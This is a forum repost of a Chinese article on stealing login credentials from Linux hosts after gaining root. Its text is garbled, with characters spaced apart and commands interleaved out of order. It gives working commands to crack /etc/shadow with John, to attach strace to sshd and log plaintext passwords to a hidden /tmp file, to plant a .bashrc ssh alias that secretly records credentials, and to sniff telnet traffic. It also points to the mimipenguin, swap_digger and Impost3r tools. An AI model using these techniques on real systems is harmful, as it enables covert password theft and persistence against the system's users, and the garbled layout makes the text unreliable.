搜索

[1020] 2020-09-28_Linux下登录凭证窃取技巧

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-16
2020-09-28_Linux下登录凭证窃取技巧 L i n u x 下 登 录 凭 证 窃 取 技 巧 原 创   B y p a s s   B y p a s s   2 0 2 0 - 0 9 - 2 8 当 获 得 一 台 主 机 的 r o o t 权 限 ， 我 们 总 是 会 想 办 法 通 过 收 集 各 种 密 码 凭 证 ， 以 便 继 续 扩 大 战 果 。 L i n u x 下 的 环 境 ， 相 对 比 更 纯 粹 一 些 ， 介 绍 几 个 比 较 常 见 的 技 巧 和 工 具 。 关 键 词 ： 关 键 词 ： 凭 证 窃 取 、 口 令 收 集 、 密 码 抓 取 、 密 码 嗅 探 0 1 、 、 h i s t o r y 记 录 敏 感 操 作 记 录 敏 感 操 作 L i n u x 系 统 会 自 动 把 用 户 的 操 作 命 令 记 录 到 历 史 列 表 中 ， 当 用 户 在 命 令 行 中 输 入 账 号 、 密 码 进 行 登 录 时 ， 将 会 导 致 敏 感 信 息 泄 露 。 0 2 、 、 s h a d o w 文 件 破 解 文 件 破 解 s h a d o w 用 于 存 储   L i n u x   系 统 中 用 户 的 密 码 信 息 ， 以 一 个 用 例 来 说 明 ： 密 码 域 密 文 由 三 部 分 组 成 ， 即 ： $ i d s a l t $ e n c r y p t e d 。 当 i d = 1 ， 采 用 m d 5 进 行 加 密 ， 弱 口 令 容 易 被 破 解 。 当 i d 为 5 时 ， 采 用 S H A 2 5 6 进 行 加 密 ， i d 为 6 时 ， 采 用 S H A 5 1 2 进 行 加 密 ， 可 以 通 过 j o h n 进 行 暴 力 破 解 。 0 3 、 、 m i m i p e n g u i n 抓 取 密 码 抓 取 密 码 一 款 L i n u x 下 的 密 码 抓 取 神 器 ， 需 要 r o o t 权 限 运 行 ， 通 过 转 储 进 程 并 提 取 很 可 能 包 含 明 文 密 码 的 行 来 利 用 内 存 中 的 明 文 凭 证 ， 目 前 支 持 K a l i 、 U b n u t u r o o t : $ 1 $ a X m G M j X X $ M G r R . H q u w r 7 U V M w O G O z J V 0 : : 0 : 9 9 9 9 9 : 7 : : : w g e t   h t t p s : / / w w w . o p e n w a l l . c o m / j o h n / k / j o h n - 1 . 9 . 0 . t a r . g z t a r   - z x v f   j o h n - 1 . 9 . 0 . t a r . g z m a k e   c l e a n   l i n u x - x 8 6 - 6 4   . / j o h n   / e t c / s h a d o w
等 操 作 系 统 。 G i t h u b 地 址 ： 0 4 、 使 用 、 使 用 S t r a c e 收 集 登 录 凭 证 收 集 登 录 凭 证 s t r a c e 是 一 个 动 态 跟 踪 工 具 ， 堪 比 键 盘 记 录 器 的 存 在 ， 可 用 来 收 集 登 录 凭 证 。 （ 1 ） 获 取 s s h d 进 程 明 文 密 码 使 用 正 在 来 匹 配 用 户 和 密 码 （ 2 ） 收 集 s s h 登 陆 凭 证 通 过 g r e p   找 到 匹 配 行 的 后 8 行 ， 可 以 根 据 密 码 长 度 调 整 行 数 h t t p s : / / g i t h u b . c o m / h u n t e r g r e g a l / m i m i p e n g u i n ( s t r a c e   - f   - F   - p   ` p s   a u x | g r e p   " s s h d   - D " | g r e p   - v   g r e p | a w k   { ' p r i n t   $ 2 ' } `   - t   - e   t r a c e = r e a d , w r i t e   - s   3 2   2 >   / t m p / . s s h d . l o g   & ) #   查 找 用 户 名 和 密 码 g r e p   - E   ' r e a d ( 6 ,   " . + 0 0 0 . + " '   / t m p / . s s h d . l o g #   结 果 形 式 如 下 [ p i d     2 4 0 1 ]   2 2 : 3 4 : 3 4   r e a d ( 6 ,   " 1 0 0 0 0 4 r o o t " ,   9 )   =   9 [ p i d     2 4 0 1 ]   2 2 : 3 4 : 3 4   r e a d ( 6 ,   " 4 0 0 0 1 6 s s h - c o n n e c t i o n 0 0 0 0 0 0 0 0 " ,   2 7 )   =   2 7 [ p i d     2 4 0 1 ]   2 2 : 3 4 : 3 4   r e a d ( 6 ,   " f 0 0 0 4 t o o r " ,   9 )   =   9 #   添 加 命 令 别 名 v i   ~ / . b a s h r c 或 者 / e t c / b a s h r c a l i a s   s s h = ' s t r a c e   - f   - e   t r a c e = r e a d , w r i t e   - o   / t m p / . s s h - ` d a t e   ' + % d % h % m % s ' ` . l o g   - s   3 2   s s h ' #   使 命 令 别 名 立 即 生 效 s o u r c e   ~ / . b a s h r c g r e p   - A   9   ' p a s s w o r d '   . s s h - 2 5 S e p 0 9 1 6 0 1 0 1 7 2 1 2 . l o g
0 5 、 、 t c p d u m p   抓 包 分 析 抓 包 分 析 抓 取 数 据 包 进 行 分 析 ， 获 取 明 文 账 号 密 码 ， 比 如 f t p 、 t e l n e t 、 h t t p 。 0 6 、 全 盘 搜 索 敏 感 信 息 、 全 盘 搜 索 敏 感 信 息 全 局 搜 索 配 置 文 件 、 脚 本 、 数 据 库 、 日 志 文 件 是 否 有 包 含 密 码 。 0 7 、 、 s w a p _ d i g g e r 一 个 用 于 自 动 进 行 L i n u x 交 换 分 析 b a s h 脚 本 ， 自 动 进 行 交 换 提 取 ， 并 搜 索 L i n u x 用 户 凭 据 ， W e b 表 单 凭 据 ， W e b 表 单 电 子 邮 件 ， H T T P 基 本 身 份 验 证 ， W i F i   S S I D 和 密 钥 等 。 g i t h u b 项 目 地 址 ： t c p d u m p   - i   e n s 3 3   p o r t   2 3   - w   t e s t . c a p g r e p   - r n   " p a s s w o r d = "   / h t t p s : / / g i t h u b . c o m / s e v a g a s / s w a p _ d i g g e r
0 8 、 、 I m p o s t 3 r 一 个 利 用 C 语 言 编 写 , 用 来 窃 取 l i n u x 下 各 类 密 码 ( s s h , s u , s u d o ) 的 工 具 。 g i t h u b 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / p h 4 n t o n n / I m p o s t 3 r
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理